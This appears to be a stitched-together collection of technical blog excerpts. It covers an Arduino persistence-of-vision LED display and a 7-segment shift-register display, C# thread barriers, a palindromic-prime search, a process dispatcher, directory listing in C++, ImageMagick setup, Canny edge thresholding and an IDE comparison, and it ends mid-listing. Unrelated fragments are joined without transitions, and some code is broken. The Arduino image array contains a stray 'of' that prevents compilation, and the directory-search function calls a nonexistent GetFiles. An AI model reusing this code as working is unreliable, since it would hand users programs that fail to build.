Without using any shift registers, a single ATmega328p chip can handle a around 20 I/O ports. I decided to use 16 LEDs, twice the number of LEDs as the ones you commonly see. This gives me at least four free pins for other purposes. You can probably build a POV with around 20 LEDs, but If you need more than that, you will have to use shift registers to expand the available IO pins or change to a chip that has more built-in IO pins (i.e. ATMega1280). But as you shall see later, the image generation process will be considerably more complex and the required memory storage will be much larger as well.

POV Display and Its Synchronization

In order to achieve a stable image output, the image frames generated by the POV device must be synchronized. A POV display can operate as a hand device (e.g. a wand) or be driven by a motor. When the POV device is built for hand use, it usually has a motion detector (from simple spring-in-cylinder switch to the more exotic accelerometer) so that the device can start displaying when the hand is waved. I decided to go with a motor driven design so that I can have more precise control over the output image. In this approach, image frames must be synchronized for each full rotation. A simple way to detect the motor rotation is to use a IR transmitter and receiver.

The following is the full design of my POV display (the left side shows the optical triggering mechanism mentioned above):

16 LED POV Schematics

And here is the finished circuit mounted on a motorized rotating platform:

16 LED POV Display (top view)

Here is a picture of the side view, you can see how the IR transmitter and receiver circuits are mounted. Whenever the transmitter and the receiver line up (it happens every rotation), the transistor would output a LOW signal to the ATMega328p (pin 28, Arduino analog pin 5) which indicates the beginning of a new frame. To reduce the light interference from the environment, the receiver is mounted on the rotor so it is facing downwards.

16 LED POV Display (side view)

Image Encoder

Building the circuit is only half of the game. In order to provide the most flexible and the richest displays, I decided to build a image encoder which can be used to automatically translates a binary image into the appropriate code that is needed for the POV display. For simple POV displays, the display patterns can be mapped directly into a binary two dimensional array, with 1 represents LED on and 0 represents LED off. But this approach is not practical when displaying larger images. For an image the size of 16×100, 1600 bytes would be required to store the image information. This might not sound like much but that is almost all of ATMega328′s usable SRAM. Of course, you can always store the data structure off in Flash memory using PROGMEM, but it is not the most efficient way to do so. A better approach would be to pack these pixels into bytes so that each byte can represent 8 pixel values.

This code is shown as below. This C# code works with both Microsoft’s .Net platform or Mono.Net and thus it can be run on either Windows or Linux:

using System;
using System.Collections.Generic;
using System.Text;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;

namespace convertImg
{
	class Program
	{
		static void Main (string[] args)
		{
			if (args.Length != 1) return;

			Image img = Image.FromFile (args[0]);			

			Bitmap bm = new Bitmap (img);
			BitmapData bmd = bm.LockBits (new Rectangle (0, 0, img.Width, img.Height),
			                              ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);

			byte[,] ay = new byte[img.Width, img.Height];
			byte[] compactedAy = new byte[2 * img.Width];

			for (int y = 0; y < img.Height; y++) {
				for (int x = 0; x < img.Width; x++) {
					byte b = Marshal.ReadByte (bmd.Scan0, y * bmd.Stride + x * 4);

					if (b == 0)
						ay[x, y] = 1;
					else
						ay[x, y] = 0;

					Console.Write (ay[x, y]);
				}

				Console.WriteLine ();
			}

			Console.Write ("byte dispArray[] = {");

			for (int x = 0; x < img.Width; x++) {
				if (x % 8 == 0) {
					Console.WriteLine ();
					Console.Write ("\t");
				}

				compactedAy[2 * x] = (byte)(ay[x, 0] << 7 |
				                            ay[x, 1] << 6 |
				                            ay[x, 2] << 5 |
				                            ay[x, 3] << 4 |
				                            ay[x, 4] << 3 |
				                            ay[x, 5] << 2 |
				                            ay[x, 6] << 1 |
				                            ay[x, 7]);			

				compactedAy[2 * x + 1] = (byte)(ay[x, 8] << 7 |
				                                ay[x, 9] << 6 |
				                                ay[x, 10] << 5 |
				                                ay[x, 11] << 4 |
				                                ay[x, 12] << 3 |
				                                ay[x, 13] << 2 |
				                                ay[x, 14] << 1 |
				                                ay[x, 15]);

				if (x < img.Width - 1) {
					Console.Write ("{0,3} ", compactedAy[2 * x]);
					Console.Write (", ");
					Console.Write ("{0,3} ", compactedAy[2 * x + 1]);
					Console.Write (", ");
				} else {
					Console.Write ("{0,3} ", compactedAy[2 * x]);
					Console.Write (", ");
					Console.Write ("{0,3} ", compactedAy[2 * x + 1]);
				}
			}

			Console.WriteLine ();
			Console.WriteLine ("};");
		}
	}
}

The code above converts a binary image into an array of packed bytes. Every vertical line consists of 16 pixels (since we are using 16 LEDs) which is translated into two consecutive bytes in the resulting array. In general, the more LEDs you have, the more space it would take for each encoded line. As you can see, making the number of LEDs divisible by eight enables us to use full bytes for each encoded line. It is possible to use number of LEDs that do not fall into this pattern, but the resulting code would be either more difficult if full byte utilization is desired or leave some unused space between each line if lines need to start on byte boundaries.

Here is our test image.

Using the image above (in PNG format) as the input, the encoded image is outputted to the terminal (formatted as a C++ array)

byte dispArray[] = {
    0, 2, 0, 30, 0, 252, 7, 240, 31, 48, 252, 48, 224, 48, 252, 48,
    31, 48, 7, 240, 0, 252, 0, 30, 0, 2, 0, 0, 0, 0, 0, 0,
    15, 254, 15, 254, 6, 0, 12, 0, 12, 0, 12, 0, 0, 0, 1, 240,
    7, 252, 14, 14, 12, 6, 12, 6, 12, 6, 12, 6, 6, 12, 255, 254,
    255, 254, 0, 0, 0, 0, 0, 0, 0, 0, 15, 248, 15, 252, 0, 14,
    0, 6, 0, 6, 0, 6, 0, 12, 15, 254, 15, 254, 0, 0, 0, 0,
    0, 0, 0, 0, 207, 254, 207, 254, 0, 0, 0, 0, 0, 0, 0, 0,
    15, 254, 15, 254, 6, 0, 12, 0, 12, 0, 12, 0, 14, 0, 7, 254,
    3, 254, 0, 0, 0, 0, 0, 0, 1, 240, 7, 252, 6, 12, 12, 6,
    12, 6, 12, 6, 12, 6, 6, 12, 7, 252, 1, 240, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 3, 192, 12, 48, 48, 12, 32, 4, 76, 2,
    76, 66, 128, 33, 128, 17, 128, 17, 128, 17, 76, 34, 76, 66, 32, 4,
    48, 12, 12, 48, 3, 192, 0, 0
};

and is ready to be consumed by the Arduino side of the code.

Arduino Code

And here is the code on the Arduino side (I used Netbeans as my IDE, and you may need to change a couple of the includes if you are using the IDE bundled with Arduino. For more information, please see my previous article on this.)

As you can see, the dispArray is plugged in directly from the output of the encoder shown above. Note that here I assumed the image size is 16×100, if your image widths are different, then you will need to adjust the range of curPos accordingly.

The analogRead() statement in the main loop detects whether the IR transmitter and receiver are aligned. If so, the analog pin output would become lower as the transistor on the receiver side becomes saturated and when a pre-defined threshold is crossed, the decoding process begins. Depending on how fast the display spins, colDelay may need to be adjusted accordingly.

#include <binary.h>
#include <HardwareSerial.h>
#include <pins_arduino.h>
#include <WConstants.h>
#include <wiring.h>
#include <wiring_private.h>
#include <WProgram.h>
#include <EEPROM/EEPROM.h>

const int p1 = 0; //2;
const int p2 = 1; //3;
const int p3 = 2; //4;
const int p4 = 3; //5;
const int p5 = 4; //6;
const int p6 = 5; //11;
const int p7 = 6; //12;
const int p8 = 7; //13;
const int p9 = 8; //14;
const int p10 = 9; //15;
const int p11 = 10; //16;
const int p12 = 14; //23;
const int p13 = 15; //24;
const int p14 = 16; //25;
const int p15 = 17; //26;
const int p16 = 18; //27;

const int triggerPin = 5; //28;

const int colDelay = 8;

int ledPins[] = {p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11, p12, p13, p14, p15, p16};
int curPos = 0;

/** Image generator output */
byte dispArray[] = {
    0, 2, 0, 30, 0, 252, 7, 240, 31, 48, 252, 48, 224, 48, 252, 48,
    31, 48, 7, 240, 0, 252, 0, 30, 0, 2, 0, 0, 0, 0, 0, 0,
    15, 254, 15, 254, 6, 0, 12, 0, 12, 0, 12, 0, 0, 0, 1, 240,
    7, 252, 14, 14, 12, 6, 12, 6, 12, 6, 12, 6, 6, 12, 255, 254,
    255, 254, 0, 0, 0, 0, 0, 0, 0, 0, 15, 248, 15, 252, 0, 14,
    0, 6, 0, 6, 0, 6, 0, 12, 15, 254, 15, 254, 0, 0, 0, 0,
    0, 0, 0, 0, 207, 254, 207, 254, 0, 0, 0, 0, 0, 0, 0, 0,
    15, 254, 15, 254, 6, 0, 12, 0, 12, 0, 12, 0, 14, 0, 7, 254,
    3, 254, 0, 0, 0, 0, 0, 0, 1, 240, 7, 252, 6, 12, 12, 6,
    12, 6, 12, 6, 12, 6, 6, 12, 7, 252, 1, 240, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 3, 192, 12, 48, 48, 12, 32, 4, 76, 2,
    76, 66, 128, 33, 128, 17, 128, 17, 128, 17, 76, 34, 76, 66, 32, 4 of,
    48, 12, 12, 48, 3, 192, 0, 0
};

/**
 * delay ms * 0.1 milliseconds
 */
void delayMilliseconds(int ms) {
    for (int i = 0; i < ms; i++) {
        delayMicroseconds(100);
    }
}

void setup() {
    for (int i = 0; i < 16; i++) {
        pinMode(ledPins[i], OUTPUT);
        digitalWrite(ledPins[i], LOW);
    }
}

void loop() {
    if (analogRead(triggerPin) < 800) {
        for (int curPos = 99; curPos >= 0; curPos--) {
            byte b1 = dispArray[curPos * 2];
            byte b2 = dispArray[curPos * 2 + 1];

            for (int i = 0; i < 8; i++) {
                digitalWrite(ledPins[i + 8], (b1 & (1 << i)) >> i);
                digitalWrite(ledPins[i], (b2 & (1 << i)) >> i);
            }

            delayMilliseconds(colDelay);
        }

        for (int i = 0; i < 16; i++) {
            digitalWrite(ledPins[i], LOW);
        }
    }
}

POV Display in Action

Here’s the POV display in action. Using the programs in this article what you can show on this POV display is not just limited to characters, any binary image design that fits the image dimension (16×100 in this example) can be used. If you use different images for different frames you can even create your own POV animation.

16 LED POV Display in Action

Without further due, here’s the schematics of the 4 digit 7 segment display (click for higher resolution pictures):

4 Digit 7 Segment Display

For finer controls, I left the MR OE pins (pin 10 and 13) unconnected so that they can be controlled by program. But for general use, you can connect pin 10 (MR) to Vcc and pin 13 (OE) to ground so that the output is always enabled.

Here’s the finished display (the letters displayed are “A.S.A.P”)

The display in action (showing A.S.A.P.)

It is fairly straight forward to write programs to interact with the above 4 digit display. The following C code offers a simple method disp() to display letters/digits that are predefined (see the comment section before the code and you will get an idea how to build your own symbols other than the ones included). The four boolean variables (dot1 to dot4) are used to turn on the decimal point on each segment independent of what is being displayed.

//aaaaaa
//f    b
//fggggb
//e    c
//eddddc p

//   abcdefgp ~abcdefgp DEC	~DEC
//1  00001100  11110011 12 	243
//2  11011010  00100101 218 101
//3  11110010  00001101 242 13
//4  01100110  10011001 102	153
//5  10110110  01001001 182	73
//6  10111110  01000001 190	65
//7  11100000  00011111 224	31
//8  11111110  00000001 254	1
//9  11110110  00001001 246	9
//0  11111101  00000010 253	2
//A  11101110  00010001 238	17
//b  00111110  11000001 62	193
//c  00011010  11100101 26	229
//C  10011100  01100011 156	99
//d  01111010  10000101 122 133
//e  11011110  00100001 222 33
//E  10011110  01100001 158 97
//F  10001110  01110001 142	113
//g  11110110  00001001 246	9
//H  01101110  10010001 110	145
//h  00101110  11010001 46	209
//I  01100000  10011111 96 	159
//J  01111000  10000111 120	135
//L  00011100  11100011 28 	227
//n  00101010  11010101 42	213
//o  00111010  11000101 58	197
//P  11001110  00110001 206	49
//q  11100110  00011001 230	25
//r  00001010  11110101 10	245
//S  10110110  01001001 182 73
//t  00011110  11100001 30	225
//u  00111000  11000111 56	199
//U  01111100  10000011 124	131
//y  01110110  10001001 118	137
//-  00000010  11111101 2 	253
//-  10000000  01111111 128	127
//-  00010000  11101111 16	239
//.  00000001  11111110 1 	254
//|| 01101100  10010011 108	147
//=  10010000  01101111 144 111
//=  10000010  01111101 130 125
//=  00010010  11101101 18	237
//=- 10010010  01101101 146 109

int latchPin = 10;
int clockPin = 7;
int dataPin = 3;

//note that for common cathode displays the
//bit values are inverted (see code)
const int COMMON_ANODE = 1; //1 CA, 0 CC

struct CharMap
{
  char c;
  byte v;
};

const int cmap_len = 41;
struct CharMap cmap[] = {
{' ', 0},
{'1', 12},
{'2', 218},
{'3', 242},
{'4', 102},
{'5', 182},
{'6', 190},
{'7', 224},
{'8', 254},
{'9', 246},
{'0', 253},
{'A', 238},
{'b', 62},
{'c', 26},
{'C', 156},
{'d', 122},
{'e', 222},
{'E', 158},
{'F', 142},
{'g', 246},
{'H', 110},
{'h', 46},
{'I', 96},
{'J', 120},
{'L', 28},
{'n', 42},
{'o', 58},
{'P', 206},
{'q', 230},
{'r', 10},
{'S', 182},
{'t', 30},
{'u', 56},
{'U', 124},
{'y', 118},
{'-', 2},
{'~', 128},
{'_', 16},
{'.', 1},
{'|', 108},
{'=', 144}
};

byte getCode(char c)
{
  byte r = 2;

  for (int i = 0 ; i < cmap_len ; i++) {
    if (c == cmap[i].c) {
      r = cmap[i].v;
      break;
    }
  }

  return r;
}

//display c1 c2 c3 c4
//Note the boolean values for dot1 dot2 dot3 and dot4
//indicates whether or not to show the decimal point
void disp(char c1, bool dot1, char c2, bool dot2, char c3, bool dot3, char c4, bool dot4)
{
  byte b1 = getCode(c1);
  byte b2 = getCode(c2);
  byte b3 = getCode(c3);
  byte b4 = getCode(c4);

  if (dot1 == true) b1 += 1;
  if (dot2 == true) b2 += 1;
  if (dot3 == true) b3 += 1;
  if (dot4 == true) b4 += 1;

  if (COMMON_ANODE == 1) {
    b1 = 255 - b1;
    b2 = 255 - b2;
    b3 = 255 - b3;
    b4 = 255 - b4;
  } 

  digitalWrite(latchPin, LOW);        

  shiftOut(dataPin, clockPin,  b4);
  shiftOut(dataPin, clockPin,  b3);
  shiftOut(dataPin, clockPin,  b2);
  shiftOut(dataPin, clockPin,  b1);

  digitalWrite(latchPin, HIGH);
}

void setup7seg()
{
  pinMode(latchPin, OUTPUT);
  pinMode(clockPin, OUTPUT);
  pinMode(dataPin, OUTPUT);

  disp(' ', false, ' ', false, ' ', false, ' ', false);
}

void shiftOut(uint8_t dataPin, uint8_t clockPin, byte val)
{
	int i;

	for (i = 0; i < 8; i++)  {
		digitalWrite(dataPin, (val & _BV(i)));
                delayMicroseconds(10);
		digitalWrite(clockPin, HIGH);
                delayMicroseconds(10);
		digitalWrite(clockPin, LOW);
                delayMicroseconds(10);
	}
}

void setup()
{
  setup7seg();
}

void loop()
{
  disp('d',false,'I',false,'S',false,'C',false); //displays the word dISC
  delay(1000);
}

The shiftOut method is actually included in standard Arduino libraries, the reason I included it in my code is that I had to add slight delay between each digitalWrite otherwise the output is not always correct. I suspect this is due to the long wiring I used on the circuit board.

Event Barrier

In the above example, a number of threads start at different times with the arrival of each clock event and wait till all threads finish running before the next clock event arrives.

Such barrier can be implemented using various techniques with different level of difficulties. One possible implementation can be found in Joseph Albahari’s Threading in C# where a monitor construct is used to wait on a synchronization object in the main thread after the worker threads are queued.

    lock (workerLocker)
    {
      while (runningWorkers > 0)
        Monitor.Wait (workerLocker);
    }

In each of the worker thread, the number of running workers is decremented when the thread finishes:

    lock (workerLocker)
    {
      runningWorkers--;
      Monitor.Pulse (workerLocker);
    }

And when the running number of workers reaches zero, the monitor exist the wait condition and the main thread continues.

The wait on the locker object forms a barrier in the example above. The method illustrated here is simple and elegant. It can be used to create the barriers needed to synchronize the clock event mentioned earlier.

Threadpooling might not always be the optimal solution though. While the number of threads in a thread pool is typically bounded to a few dozens, it may incur excessive context switching penalties if the majority of the threads are CPU bound. In a computation intensive situation, a fixed number of threads approximating the number of computational cores would be more appropriate (for instance, four threads on a four core CPU).

Here I will show another relatively simple way to construct a barrier where only a predetermined maximum number of threads can reach at a given time. To achieve such a ceiling, a global semaphore is used (in this example three concurrent threads can enter the semaphore):

public class Global
{
    public static Semaphore sp = new Semaphore(3, 3);
}

To simplify coding and shield the programmer from the synchronization mechanism details, I created an IEvent interface and an abstract EventBase as follows:

interface IEvent
{
    void OnEvent(int arg);
}

public abstract class EventBase : IEvent
{
    #region IEvent Members
    public void OnEvent(int arg)
    {
        Global.sp.WaitOne();
        Run(arg);
        Global.sp.Release();
    }
    #endregion

    public virtual void Run(int arg)
    {
    }
}

Users can simply implement their code that needs to block at the barrier by inheriting from EventBase and overridding the Run() method:

public class Event1 : EventBase
{
    public override void Run(int arg)
    {
        Console.WriteLine("Thread {0}, arg {1}", Thread.CurrentThread.ManagedThreadId, arg);
        Thread.Sleep(1000);
    }
}

To illustrate how this barrier implementation can be used considering the following code:

class Program
{
    delegate void MyEvent(int arg);

    static void Main(string[] args)
    {
        IEvent e = new Event1();
        MyEvent m = new MyEvent(e.OnEvent);

        List<IAsyncResult> l = new List<IAsyncResult>();

        for (int i = 0 ; i < 6 ; i++)
        {
          IAsyncResult r = m.BeginInvoke(i, null, null);
          l.Add(r);
        }

        foreach (IAsyncResult r in l)
        {
            m.EndInvoke(r);
        }
    }
}

In the code above, we simulate six concurrent threads that need to be synchronized. The multi-threading is achieved via asynchronous invocation. Because the capacity of the semaphore is set to be 3 in this example and if this code is run on a quad-core machine, you will see that the six asynchronous threads are run in two batches, three at a time. And all the threads are synchronized at the end. Here is the sample output:

Thread 10, arg 1
Thread 11, arg 2
Thread 6, arg 0
Thread 13, arg 4
Thread 10, arg 5
Thread 12, arg 3

Using this approach, the number of concurrently running threads can be precisely controlled by the maximum threads allowed in the semaphore.

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <math.h>
#include <iostream>

using namespace std;

bool IsPrime(unsigned long long n) {
	bool r = true;

	for (unsigned long long i = 3; i < sqrt((double) n) + 1; i+= 2)
	{
		if (n % i ==0) {
			r = false;
			break;
		}
	}

	return r;
}

bool IsPalindrome(unsigned long long n) {
	bool r = true;
	char s[30];
	int l = sprintf(s, "%llu", n);

	if (l == 1 && n != 1) {
		r = true;
	} else	{
		for (int i = 0; i < l/2; i++) {
			if (s[i] != s[l-i-1]) {
				r = false;
				break;
			}
		}
	}

	return r;
}

/*
 * usage: palprime [lbound] [ubound]
 */
int main(int argc, char** argv) {
	unsigned long long beginNum = 3;
	unsigned long long endNum = 3;

	if (argc == 2) { // lbound default to 3
#ifdef _WIN32
		endNum = _strtoui64(argv[1], NULL, 10);
#else
		endNum = strtoull(argv[1], NULL, 10);
#endif

	} else if (argc == 3) {
#ifdef _WIN32
		beginNum = _strtoui64(argv[1], NULL, 10);
		endNum = _strtoui64(argv[2], NULL, 10);
#else
		beginNum = strtoull(argv[1], NULL, 10);
		endNum = strtoull(argv[2], NULL, 10);
#endif
	}

        unsigned long long i = beginNum;

        while (i < endNum) {
                char s[30];
                int l = sprintf(s, "%llu", i);

		//length cannot be even as even length palindrome numbers
		//can be divided by 11.
                if (l % 2 == 0) {
                    i = ((unsigned long long) (i / 10)) * 100 + 1;
                    continue;
                }

		if (IsPalindrome(i)) {
			if (IsPrime(i)) {
				cout << i << endl;
			}
		}

                i+=2;

                if (s[0] % 2 == 0) {
                    i+=pow(10, l-1);

		    //leading/ending number cannot be 5
                    if (((int) (s[0] - '0')) + 1 == 5) {
                        i += 2 * pow(10, l-1);
                    }
                }
	}
	return (EXIT_SUCCESS);
}

At first, I was trying to find all the palprimes that can be represented by 64 bit integers. But soon I realized that it would take months to do so using the code above with a quad-core PC (using 4 processes with different ranges). Anyway, here’s the last few palindromic primes less than 10,000,000,000,000:

9999899989999
9999901099999
9999907099999
9999913199999
9999919199999
9999938399999
9999961699999
9999970799999
9999980899999
9999987899999

And here are a few interesting ones:

11357975311
1112345432111
1300000000031
1700000000071
1900000000091
7900000000097
9200000000029
1357900097531

For the type of applications that perform the same task over a large dataset for example,

for (int i = 0 ; i < num ; i++)
{
    //lengthy tasks
}

we could easily break down the for loop evenly into chunks that fit into the number of processors given. And for each of the subsets we could create a new process to perform the desired tasks. For instance, if we were to execute the above for loop in parallel on a duo-core processor, we could re-write each of the loops like the following:

//core 1
for (int i = 0 ; i < num ; i+=2)
{
    //lengthy tasks
}

//core 2
for (int i = 1 ; i < num ; i+=2)
{
    //lengthy tasks
}

By executing the application in separate processes, we eliminated certain race conditions that must be properly handled in a multi-threaded process and thus it is far easier to execute multiple processes concurrently when there is no inter-process communications involved than to handle multi-processing within a process via multi-threading. In a multi-process scenario, the operating system handles the concurrency issue behind the scene whereas in the multi-threading case the application developer must ensure the code regions are thread safe.

The following C# code shows how to dispatch tasks among different processes using asynchronous method invocations. Each process being invoked can identify its order by the extra integer parameter (line 36) passed to it. Thus we only needed to modify the target application to take this extra parameter into account (for instance, in a quad-core system, the first process would process items 1,5,9… and the second process would run items 2,6,10, and so on)

using System;
using System.Diagnostics;
using System.Threading;

namespace MPDispatcher
{
    class Program
    {
        public delegate bool CmdDlg(string fn, string args);

        private bool RunCommand(string fn, string args)
        {
            bool r = true;
            Process p = new Process();

            p.StartInfo.FileName = fn;
            p.StartInfo.Arguments = args;

			Console.WriteLine(String.Format("Starting {0} with arguments {1}. Thread ID: {2}", fn, args, Thread.CurrentThread.ManagedThreadId));
            r = p.Start();
            p.WaitForExit();

            return r;
        }

		public bool DispatchCommand(int numOfThreads, string args)
        {
            bool r = true;

            IAsyncResult[] ars = new IAsyncResult[numOfThreads];
            CmdDlg[] dlgs = new CmdDlg[numOfThreads];

            for (int i = 0; i < numOfThreads; i++)
            {
                dlgs[i] = new CmdDlg(RunCommand);
                ars[i] = dlgs[i].BeginInvoke(args, i.ToString(), null, null);
				Thread.Sleep(100);
            }

            bool finished = false;

			//wait till all processes are finished.
            while (!finished)
            {
                bool t = true;

                for (int i = 0; i < numOfThreads; i++)
                    t = t && ars[i].IsCompleted;   

                if (t) finished = true;

                Thread.Sleep(100);
            }

            for (int i = 0; i < numOfThreads; i++)
            {
                r = r && dlgs[i].EndInvoke(ars[i]);
            }

            return r;
        }

        static void Main(string[] args)
        {
            Program p = new Program();

			if (args.Length < 1 || args[0].ToUpper() == "-H") {
				Console.WriteLine("Usage: MPDispatcher {app name} {app args}");
			} else {
				int numThreads = 4; //use 4 threads
				string argStr = string.Empty;

				for (int i = 1 ; i < args.Length; i++) {
					argStr = String.Format("{0} {1}", argStr, args[i]);
				}

            	p.DispatchCommand(numThreads, argStr);
			}
        }
    }
}

The above code works under Windows and Linux (Mono).

For those who are impatient, the function to perform recursive directory search is here:

#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <errno.h>
#include <vector>
#include <string>
#include <iostream>
#include <boost/regex.hpp>

void GetFileListing(vector<string> &files, string dir, string filter, bool ignoreCase) {
    DIR *d;
    if ((d = opendir(dir.c_str())) == NULL) return;
    if (dir.at(dir.length() - 1) != '/') dir += "/";

    struct dirent *dent;
    struct stat st;
    boost::regex exp;

    if (ignoreCase)
        exp.set_expression(filter, boost::regex_constants::icase);
    else
        exp.set_expression(filter);

    while ((dent = readdir(d)) != NULL) {
        string path = dir;

        if (string(dent->d_name) != "." && string(dent->d_name) != "..") {
            path += string(dent->d_name);
            const char *p = path.c_str();
            lstat(p, &st);

            if (S_ISDIR(st.st_mode)) {
                GetFiles(files, (path + string("/")).c_str(), filter, ignoreCase);
            } else {
                if (filter == ".*") {
                    files.push_back(path);
                } else {
                    if (boost::regex_match(string(dent->d_name), exp)) files.push_back(path);
                }
            }
        }
    }

    closedir(d);
}

I used boost library to perform regular expression matches for file names. If you just want to obtain a listing of all the files, you can do without using the boost library.

The following code snippet demonstrates how to use the function. The results are stored in a vector container passed in. Note that the “filter” parameter needs standard regular expressions (so if you are looking for any files, the expression should be .* instead of just *) to work properly.

The code should be pretty self-explanatory. If ignoreCase is set to true, then the match will be case-insensitive.

vector<string> files;

FileUtils::GetFiles(files,"/tmp", ".*", true);
for (int i = 0 ; i < files.size(); i++) {
    cout << files[i] << endl;
}

After a quick search on ImageMagick’s site I realized that I was missing the following libraries:

libpng12
libjpeg62

Note, that you might want to use the following commands to find out the exact package names:

sudo apt-cache search libpng
sudo apt-cache search libjpeg

sudo apt-cache search libjpeg
And then use the following commands to install the packages:

sudo apt-get install libpng12-0 libpng12-dev
sudo apt-get install libjpeg62 libjpeg62-dev

Note that after that, you will need to re-configure and re-build the Magick++ library (e.g. ./configure, ./make ./make install) so that Magick++ library can be linked correctly with the above libraries.

The simplest way is to use the mean value of the gray scale image pixel values. As a rule of thumb, we set the low threshold to 0.66*[mean value] and set the high threshold to 1.33*[mean value]. Another way is to use the median color in the gray scale image and uses 0.66*[median value] and 1.33*[median value] accordingly. For typical images, these two methods achieve comparable results.

For example, the following shows the picture of a building along with its histogram (original image from Microsoft Research Digital Image. Please see Microsoft Research Digital Image License Agreement for more information):

Building

Building Histogram

The following shows the edge detection results using Canny algorithm (left image uses mean value auto-thresholding, right image uses median value auto-thresholding) and the results exhibit very little visible differences.

Building (Canny Mean)

Building (Canny Median)

However, for images has non-equalized histogram (see the picture of cloud and its histogram below):

Cloud

Cloud Histogram

Canny Edge detection result based on mean value auto-thresholding is pretty poor (see image on the left below), while edge detection based on median value auto-thresholding achieved much better result (see image on the right below)

Cloud (Canny Mean)

Cloud (Canny Median)

Alternatively, we could have performed histogram equalization on the image first before applying Canny edge detection with mean auto-thresholding:

Cloud Equalized

Cloud Equalized Histogram

And after image equalization, both mean and median value auto-thresholding achieved similar results.

Cloud Equalized (Canny Mean)

Cloud Equalized (Canny Median)

So the Canny edge detection using median value auto-thresholding seems to adapt to different types of images very well (note selecting the median value selection can be thought as equalizing the histogram, except that the pixel values are not changed during such operation).

The following is the code listing for the histogram calculation using IPP (based on the image class I created earlier)

/** @brief Get the min max mean value statistics for the current image
 *   @param min, max, mean: these are output parameters that are passed
 *         back by reference.
 */
void IPPGrayImage::MinMaxMean(float& min, float& max, double& mean)
{
    IppStatus sts;
    IppiSize origImgSize = {_width, _height};

    sts = ippiMinMax_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, origImgSize, &min, &max);
    assert(sts == ippStsNoErr);
    sts = ippiMean_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, origImgSize, &mean, ippAlgHintFast);
    assert(sts == ippStsNoErr);
}

/** @brief Calculate the histogram of the image
 *   @param nLevel: the number of bins in the histogram
 *        levels: this is the optional levels user can pass in (histogram will be then
 *                calculated with these levels instead of the uniform levels by default.
 *   @return an integer array which contains the histogram.
 *   @note the histogram is by default calculated using uniform bins across the color range.
 */
unsigned int * IPPGrayImage::GetHistogram(unsigned int nLevel, float levels[])
{
    IppStatus sts;
    Ipp32f* l = new Ipp32f[nLevel];
    IppiSize origImgSize = {_width, _height};

    unsigned int* bins = new unsigned int[nLevel - 1];

    float minVal = 0, maxVal = 0, stepVal = 0;
    double meanVal = 0;
    if (levels != NULL)
    {
        for (unsigned int i = 0; i < nLevel; i++)
        {
            l[i] = levels[i];
        }
    }
    else
    {
        MinMaxMean(minVal, maxVal, meanVal);
        stepVal = (maxVal - minVal) / (float) nLevel;

        for (unsigned int i = 0; i < nLevel; i++)
        {
            l[i] = minVal + stepVal * i;
        }
    }

    sts = ippiHistogramRange_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, origImgSize, (Ipp32s*) bins, (Ipp32f*) l, nLevel);
    return bins;
}

In my opinion, the above three IDEs all have their strengths and weaknesses depending on what kind of project you are working on. Here are some of my observations.

KDevelop is probably the most comprehensive IDE of the three. This should not come as a surprise as it has been around for more than 10 years and it bas been the de facto development environment for most of the KDE development work. It is very feature rich and you can use it to develop many different types of applications natively out of box (e.g. KDE, GTK+, Qt, wxWidgets, etc). If you are developing GNU style applications, you will benefit from the Automake project type if provides. Besides the vast functionalities KDevelop provides, it is also very fast, efficient and stable.

Nonetheless, KDevelop is not the most intuitive IDE and does not suit small projects (e.g. prof of concept code) well as the initial project setup can be time consuming.

Code::Blocks is a very capable IDE for C++ development as well. It offers many project templates even though it does not offer native KDE project types. This should not be a problem to most people however. Among the features I like the most is that it does not require explicit make file configuration and the build dependencies are inferred by default. This makes it very attractive for rapid prototyping. Debugging under Code::Blocks is also a pleasant experience. It also integrates (at least in the later SVN versions) Valgrind‘s MemCheck and Cachegrind, which are very useful for detecting memory leaks and tweaking algorithms for the maximum performance.

The latest stable version of Code::Blocks is 8.02, it is a little dated as a lot of functionalities have been added in the later SVN builds. If you do not require the most stability (I have run into some issues recently), using SVN build should not be a problem. The editor (e.g. syntax highlighting, collapsible regions) is a little bit buggy though and the contextual help does not always work to the level of detail I desired.

NetBeans C++ IDE is probably the most beautiful one among the three. It offers the most detailed syntax highlighting, and can be configured to display class hierarchy and library function information. The refactor tool works pretty well and is certainly a boon to large scale development. Its contextual help is also of top-notch.

All of these come at a cost of course. NetBeans C++ IDE is the most resource intensive among the three. It can easily use 500 MB memory when doing development and can be sluggish at times. It also comes with a very limited project template (e.g. no out-of-box project templates for Qt, wxWidgets). Certain settings are hard to get at as well. Nevertheless, if I am primarily writing back-end code, NetBeans C++ IDE could easily earn my top choice.

Some people like Anjuta and compare it favorably to Code::Blocks. But I haven’t got a chance to use it yet.

In this article, I will show a simple example of creating a wrapper class using IPP and Magick++. The example I am going to show can be used to calculate the 2-dimensional FFT spectrum of a gray-scale image. This framework can be easily extended to include other algorithms that can be applied to an image using IPP.

Before I show the implementation details, let me first show how easy it is to use the class. The code snippet below shows how to read in an image file, apply 2D FFT with and without a Hamming window and save the results into image files.

    IPPGrayImage *img, *img1;

    img = new IPPGrayImage();
    img->LoadFromFile(IMAGE_FILE);

    img1 = img->Clone();
    img1 = img1->FFT(true);
    img1->SaveToFile(IMAGE_HOME + "/test_fftmag.jpg");
    img1 = img->Clone();
    img1 = img->ApplyHammingWindow();
    img1->SaveToFile(IMAGE_HOME + "/test_hamming.jpg");
    img1 = img1->FFT(true);
    img1->SaveToFile(IMAGE_HOME + "/test_fftmag_hamming.jpg");

And for the following IMAGE_FILE,

Test image used for 2D FFT

Here are the results for FFT spectrum with and without hamming window:

Hamming window applied

FFT spectrum (without Hamming window)

FFT spectrum with Hamming window

The header file for the class is as follows:

#ifndef IPPGRAYIMAGE_H
#define IPPGRAYIMAGE_H

#include <Magick++/Image.h>
#include <Magick++.h>
#include <ipp.h>

using namespace std;
using namespace Magick;

namespace KDW
{
    class IPPGrayImage
    {
    public:
        unsigned int PIXEL_SIZE;

        IPPGrayImage();
        IPPGrayImage(const unsigned int width, const unsigned int height);
